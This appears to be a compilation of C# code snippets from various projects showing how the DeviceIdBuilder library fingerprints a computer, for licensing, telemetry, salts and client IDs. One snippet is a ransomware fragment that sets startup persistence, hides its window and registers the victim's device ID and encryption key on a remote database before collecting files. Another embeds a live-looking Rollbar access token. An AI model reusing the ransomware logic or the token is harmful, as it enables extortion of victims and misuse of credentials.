public static LicenseInfo GetForCurrentDevice()
{
string licenseKey = null;
string deviceId = null;
try
{
deviceId = new DeviceIdBuilder()
.AddProcessorId()
.AddMotherboardSerialNumber()
.ToString(new Base64DeviceIdFormatter(hashName: "MD5", urlEncode: true));
using (StreamReader reader = new StreamReader("license.key"))
{
licenseKey = reader.ReadLine();
reader.Close();
}
}
catch (Exception e)
{
}
return(new LicenseInfo()
{
DeviceId = deviceId,
Key = licenseKey
});
}
public async Task ReportEvent(string eventType, Dictionary <string, string> parameters)
{
var uuid = new DeviceIdBuilder()
.AddSystemUUID()
.AddOSVersion()
.AddUserName()
.ToString();
JObject obj = new JObject();
obj.Add("event", eventType);
obj.Add("uuid", uuid);
if (parameters != null)
{
obj.Add("params", JObject.FromObject(parameters));
}
var httpContent = new StringContent(obj.ToString());
var mediaType = new MediaTypeWithQualityHeaderValue("application/json");
httpContent.Headers.ContentType = mediaType;
HttpClient client = new HttpClient();
client.DefaultRequestHeaders.Accept.Add(mediaType);
var response = await client.PostAsync(SERVER + "report", httpContent);
var responseBody = await response.Content.ReadAsStringAsync();
var jobject = JObject.Parse(responseBody);
}
private static string GetIdentity()
{
string deviceId = new DeviceIdBuilder()
.AddProcessorId()
.AddMotherboardSerialNumber()
.UseFormatter(new HashDeviceIdFormatter(() => SHA256.Create(), new Base64UrlByteArrayEncoder()))
.ToString();
return(deviceId);
}
public void ToString_FormatterIsNull_ThrowsInvalidOperationException()
{
var builder = new DeviceIdBuilder();
builder.Formatter = null;
Action act = () => builder.ToString();
act.ShouldThrow <InvalidOperationException>().WithMessage("The Formatter property must not be null in order for ToString to be called.");
}
//A simple library providing functionality to generate a 'device ID' that can be used to uniquely identify a computer.
public string getDeviceId()
{
string deviceId = new DeviceIdBuilder()
.AddMachineName()
//.AddProcessorId()
//.AddMotherboardSerialNumber()
//.AddSystemDriveSerialNumber()
.ToString();
return(deviceId);
}
private string GetClientId(string appName)
{
var deviceId = new DeviceIdBuilder()
.AddMachineName()
.AddMacAddress()
.AddProcessorId()
.AddMotherboardSerialNumber()
.ToString();
return($"{appName}@{deviceId}");
}
// generate salt based on current hardware
public static byte[] GenerateSalt()
{
string hardwareSalt = new DeviceIdBuilder()
.AddMotherboardSerialNumber()
.AddUserName()
.AddSystemDriveSerialNumber()
.UseFormatter(new HashDeviceIdFormatter(() => SHA256.Create(), new Base64ByteArrayEncoder()))
.ToString()
;
return(Convert.FromBase64String(hardwareSalt));
}
static async Task Main(string[] args)
{
var deviceKey = new DeviceIdBuilder()
.AddProcessorId()
.AddMotherboardSerialNumber()
.ToString();
if (!await CheckLicense(deviceKey))
{
Console.WriteLine($"Данный ключ не зарегистрирован: {deviceKey}");
Console.WriteLine($"Необходимо зарегистрировать ключ");
return;
}
Console.WriteLine($"Лицензия активна: {deviceKey}");
Console.WriteLine($"Проверка ключа успешна!");
}
public static bool CheckSession()
{
var DeviceId = new DeviceIdBuilder()
.AddMachineName()
.AddMacAddress()
.AddProcessorId()
.AddMotherboardSerialNumber()
.ToString();
string licenseCode;
using (var db = new BrgyMgmtEntities()) {
licenseCode = db.ApplicationSettings.Find(1).ApplicationSettingsValue;
}
CryptoLicense license = new CryptoLicense(licenseCode, Resources.SessionString);
//return license.GetUserDataFieldValue("MachineCode", "#") == DeviceId;
return(true);
}
public static string GetDeviceId(string _seed = "")
{
MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();
string _devid = new DeviceIdBuilder().AddMachineName().AddMotherboardSerialNumber().AddProcessorId().AddSystemDriveSerialNumber().ToString();
string _source = string.Format("{0}@{1}", _devid, _seed);
byte[] md5byte = md5.ComputeHash(System.Text.UTF8Encoding.UTF8.GetBytes(_source));
StringBuilder result = new StringBuilder();
for (int i = 0; i < md5byte.Length; i++)
{
result.Append(md5byte[i].ToString("x2"));
}
return(result.ToString());
}
/// <summary>
/// Configures the Rollbar singleton-like notifier.
/// </summary>
public static void ConfigureRollbarSingleton(string codeVersion)
{
const string rollbarAccessToken = "72be571d37fa4e54ac487f7d8d78a83f";
const string rollbarEnvironment = "production";
var config = new RollbarConfig // minimally required Rollbar configuration
{
AccessToken = rollbarAccessToken,
Environment = rollbarEnvironment,
Transform = payload =>
{
payload.Data.CodeVersion = codeVersion;
}
};
/*
* RollbarLocator.RollbarInstance
* // minimally required Rollbar configuration:
* .Configure(config)
* ;
*/
string deviceId = new DeviceIdBuilder()
.AddMachineName()
.AddMacAddress()
.AddProcessorId()
.AddMotherboardSerialNumber()
.ToString();
SetRollbarReportingUser(deviceId, Environment.UserName);
AppDomain.CurrentDomain.UnhandledException += (sender, args) =>
{
var newExc = new System.Exception("CurrentDomainOnUnhandledException", args.ExceptionObject as System.Exception);
RollbarLocator.RollbarInstance.AsBlockingLogger(RollbarTimeout).Critical(newExc);
};
TaskScheduler.UnobservedTaskException += (sender, args) =>
{
var newExc = new ApplicationException("TaskSchedulerOnUnobservedTaskException", args.Exception);
RollbarLocator.RollbarInstance.AsBlockingLogger(RollbarTimeout).Critical(newExc);
};
}
public static string GetClientCorrelationId()
{
if (ClientCorrelationId != null)
{
return(ClientCorrelationId);
}
var deviceId = new DeviceIdBuilder()
.AddMacAddress()
.AddMotherboardSerialNumber()
.ToString()
.ToLowerInvariant();
using var hash = MD5.Create();
var hexStrings = hash.ComputeHash(Encoding.UTF8.GetBytes(deviceId)).Select(b => b.ToString("x2"));
ClientCorrelationId = string.Join(string.Empty, hexStrings);
return(ClientCorrelationId);
}
private static void Main(string[] args)
{
Console.WriteLine("Hello World!");
var builder = new DeviceIdBuilder();
builder.Formatter = new StringDeviceIdFormatter(new PlainTextDeviceIdComponentEncoder());
var machineName = builder.AddProcessorId().ToString();
var cpu = builder.AddMachineName().ToString();
var motherCard = builder.AddMotherboardSerialNumber().ToString();
var osInstallation = builder.AddOSInstallationID().ToString();
var systemDrive = builder.AddSystemDriveSerialNumber().ToString();
Console.WriteLine($"----------------------------------------\n" +
$"machine name: {machineName}\n" +
$"cpu name: {cpu}\n" +
$"motherCard name: {motherCard}\n" +
$"osInstallation name: {osInstallation}\n" +
$"systemDrive name: {systemDrive}\n" +
"----------------------------------------");
Console.ReadLine();
}
public static string GetHWID(BotData data)
{
var builder = new DeviceIdBuilder()
.AddUserName()
.AddMachineName()
.AddOSVersion()
.AddMacAddress()
.AddSystemDriveSerialNumber()
.AddOSInstallationID();
if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
{
builder
.AddProcessorId()
.AddMotherboardSerialNumber()
.AddSystemUUID();
}
var hwid = builder.ToString();
data.Logger.LogHeader();
data.Logger.Log($"Got HWID {hwid}", LogColors.DeepChampagne);
return(hwid);
}
// This is the entry point for the whole ransomware. Everything you put there
// will be executed first. Well at list this is where the program pointer will be set to.
private void Form1_Load(object sender, EventArgs e)
{
setup(); // Check if generated Strings are set like Application Name, Encryption Key, etc... are set
RegisterStartup(true); // Register application to startup.
// Simple "Styling"
this.ShowInTaskbar = false;
this.Text = "";
this.ShowIcon = false;
//this.TopMost = true; // Will make the ransomware overlay other applications
timer1.Enabled = true;
timer1.Start();
label1.Text = Properties.Settings.Default.application_title;
// Center Visuals
label1.Location = new Point(panel_main.Width / 2 - label1.Width / 2, label1.Location.Y);
panel_main.Location = new Point(this.Width / 2 - panel_main.Width / 2, this.Height / 2 - panel_main.Height / 2);
string deviceId = "";
try
{
// Generate Devive ID for Database to identify encrypted machines
deviceId = new DeviceIdBuilder()
.AddMachineName()
.AddProcessorId()
.AddMotherboardSerialNumber()
.AddSystemDriveSerialNumber()
.ToString();
}
catch (Exception DeviceIdError)
{
Log(DeviceIdError.Message, "Form1_Load > DeviceId");
}
// Connection String for MySQL Connection, if enabled.
string myConnectionString = "SERVER=" + Properties.Settings.Default.db_host + ";" +
"DATABASE=" + Properties.Settings.Default.db_database + ";" +
"UID=" + Properties.Settings.Default.db_user + ";" +
"PASSWORD="******";";
// the following code will register the victims machine on the mysql database server.
// this includes the generated deviceId and the encryption key.
if (Properties.Settings.Default.db_enable == true)
{
try
{
MySqlConnection connection = new MySqlConnection(myConnectionString);
MySqlCommand command = connection.CreateCommand();
command.CommandText = "INSERT INTO machine (deviceID,pass) VALUES ('" + deviceId + "', '" + Properties.Settings.Default.key + "')";
MySqlDataReader Reader;
connection.Open();
Reader = command.ExecuteReader();
while (Reader.Read())
{
string row = "";
for (int i = 0; i < Reader.FieldCount; i++)
{
row += Reader.GetValue(i).ToString() + ", ";
}
Console.WriteLine(row);
}
connection.Close();
}
catch (Exception ex)
{
if (ex.Message.Contains("DUPLICATE"))
{
}
else
{
Log(ex.Message, "Form1_Load > MySQL");
}
}
}
// This will try to get as many files as possible.
// Its not perferct and might fail sometimes on some drives etc..
Task.Run(() => GetFiles());
}
private void Worker_DoWork(object sender, DoWorkEventArgs e)
{
_stop = false;
string[] args = e.Argument as string[];
var configFile = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, ConfigFile);
string[] configs = File.ReadAllText(configFile).Split('\n').Select(item => item.Trim()).ToArray();
string deviceId = new DeviceIdBuilder()
.AddMachineName()
.AddProcessorId()
.AddMotherboardSerialNumber()
.AddSystemDriveSerialNumber()
.ToString();
byte[] deviceIdData = EncodeOutgoingMessage(deviceId);
string portArgs = configs.FirstOrDefault(x => x.StartsWith("port="))?.Split('=')[1];
int port = string.IsNullOrWhiteSpace(portArgs) ? DefaultPort : int.Parse(portArgs);
_server = new TcpListener(IPAddress.Parse(LocalhostIpAddr), port);
_server.Start();
while (!e.Cancel)
{
TcpClient client = _server.AcceptTcpClient();
NetworkStream stream = client.GetStream();
bool sendResp = false;
while (!sendResp)
{
while (!stream.DataAvailable && !e.Cancel)
{
;
}
while (client.Available < 3 && !e.Cancel)
{
;
}
if (e.Cancel)
{
return;
}
byte[] bytes = new byte[client.Available];
stream.Read(bytes, 0, client.Available);
string s = Encoding.UTF8.GetString(bytes);
if (Regex.IsMatch(s, "^GET", RegexOptions.IgnoreCase))
{
string swk = Regex.Match(s, "Sec-WebSocket-Key: (.*)").Groups[1].Value.Trim();
string swka = swk + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
byte[] swkaSha1 = System.Security.Cryptography.SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(swka));
string swkaSha1Base64 = Convert.ToBase64String(swkaSha1);
byte[] response = Encoding.UTF8.GetBytes(
"HTTP/1.1 101 Switching Protocols\r\n" +
"Connection: Upgrade\r\n" +
"Upgrade: websocket\r\n" +
"Sec-WebSocket-Accept: " + swkaSha1Base64 + "\r\n\r\n");
stream.Write(response, 0, response.Length);
}
else
{
stream.Write(deviceIdData, 0, deviceIdData.Length);
client.Close();
sendResp = true;
}
}
}
_stop = true;
}
public SRClient GetClientDevice()
{
DeviceIdBuilder cDeviceId = new DeviceIdBuilder();
cDeviceId.AddProcessorId();
cDeviceId.AddMachineName();
cDeviceId.AddOSVersion();
cDeviceId.AddSystemUUID();
cDeviceId.AddUserName();
// DeviceIdComponent dc = new DeviceIdComponent("test", );
var wmi = new ManagementObjectSearcher("select * from Win32_OperatingSystem")
.Get()
.Cast <ManagementObject>()
.First();
var cpu = new ManagementObjectSearcher("select * from Win32_Processor")
.Get()
.Cast <ManagementObject>()
.First();
var cMachineName = Environment.MachineName;
var cExePath = Environment.CommandLine;
var cOSVersion = Environment.OSVersion;
var cProcessorID = new WmiDeviceIdComponent("ProcessorId", "Win32_Processor", "ProcessorId").GetValue();
var cProcessorCount = System.Environment.ProcessorCount;
var cUUID = new WmiDeviceIdComponent("SystemUUID", "Win32_ComputerSystemProduct", "UUID").GetValue();
var cNetwork = new NetworkAdapterDeviceIdComponent(false, false).GetValue();
var c = new SRClient();
c.MachineName = cMachineName;
c.DeviceID = cDeviceId.ToString();
c.FirstRun = DateTime.Now;
c.LastActive = DateTime.Now;
c.ExePath = cExePath;
c.UUID = cUUID;
var cOS = new ClientOS();
cOS.Name = ((string)wmi["Caption"]).Trim();;
cOS.Build = ((string)wmi["BuildNumber"]).StrToInt();
cOS.Version = (string)wmi["Version"];
cOS.SerialNumber = (string)wmi["SerialNumber"];
cOS.Architecture = (string)wmi["OSArchitecture"];
cOS.MaxProcessCount = (uint)wmi["MaxNumberOfProcesses"];
cOS.MaxProcessRAM = (ulong)wmi["MaxProcessMemorySize"];
c.OS = new List <ClientOS>()
{
cOS
};
var cCPU = new ClientCPU();
cCPU.ID = (string)cpu["ProcessorId"];
cCPU.Name = (string)cpu["Name"];
cCPU.Description = (string)cpu["Caption"];
// cCPU.Socket = (string)cpu["SocketDesignation"];
// cCPU.AddressWidth = (ushort)cpu["AddressWidth"];
// cCPU.DataWidth = (ushort)cpu["DataWidth"];
// cCPU.Architecture = (ushort)cpu["Architecture"];
// cCPU.SpeedMHz = (uint)cpu["MaxClockSpeed"];
// cCPU.BusSpeedMHz = (uint)cpu["ExtClock"];
// cCPU.L2Cache = (uint)cpu["L2CacheSize"] * (ulong)1024;
// cCPU.L3Cache = (uint)cpu["L3CacheSize"] * (ulong)1024;
// cCPU.Cores = (uint)cpu["NumberOfCores"];
// cCPU.Threads = (uint)cpu["NumberOfLogicalProcessors"];
c.CPU = new List <ClientCPU>()
{
cCPU
};
// var js = JsonConvert.SerializeObject(c);
// Debug.WriteLine(js);
return(c);
}
public static IHostBuilder CreateHostBuilder(string[] args) =>
Host.CreateDefaultBuilder(args)
.UseServiceProviderFactory(new AutofacServiceProviderFactory())
.ConfigureHostConfiguration(configHost =>
{
configHost.AddEnvironmentVariables();
configHost.AddCommandLine(args);
})
.ConfigureAppConfiguration((hostContext, config) =>
{
hostContext.HostingEnvironment.EnvironmentName = System.Environment.GetEnvironmentVariable("NETCORE_ENVIRONMENT") ?? "production";
config.SetBasePath(Directory.GetCurrentDirectory());
config.AddJsonFile("appsettings.json");
config.AddJsonFile($"appsettings.{hostContext.HostingEnvironment.EnvironmentName}.json", optional: true);
})
.ConfigureServices((hostContext, services) =>
{
var brokerSettings = hostContext.Configuration.GetSection("BrokerSettings").Get <BrokerSettings>();
// db
services.AddDbContext <ApplicationDbContext>(options => options.UseSqlite("Data Source=node.db"));
// masstransit
services.AddMassTransit(x =>
{
x.UsingRabbitMq((context, cfg) =>
{
// configure health checks for this bus instance
cfg.UseHealthCheck(context);
cfg.Host(brokerSettings.Host, h =>
{
h.Username(brokerSettings.Username);
h.Password(brokerSettings.Password);
});
cfg.ConfigureEndpoints(context);
});
});
services.Configure <HealthCheckPublisherOptions>(options =>
{
options.Delay = TimeSpan.FromSeconds(2);
options.Predicate = (check) => check.Tags.Contains("ready");
});
services.AddMassTransitHostedService();
})
.ConfigureContainer <ContainerBuilder>(builder =>
{
//build deviceId
string deviceId = new DeviceIdBuilder()
.AddMachineName()
.AddMacAddress()
.AddProcessorId()
.AddMotherboardSerialNumber()
.ToString();
Parser.Default.ParseArguments <ArgOptions>(args).WithParsed <ArgOptions>(o =>
{
builder.RegisterModule(new ServiceModule()
{
NodeId = deviceId,
ServiceType = o.ServiceType,
TimeSpan = o.TimeSpan
});
});
})
.ConfigureLogging(logging =>
{
logging.ClearProviders();
logging.SetMinimumLevel(LogLevel.Trace);
})
.UseNLog();
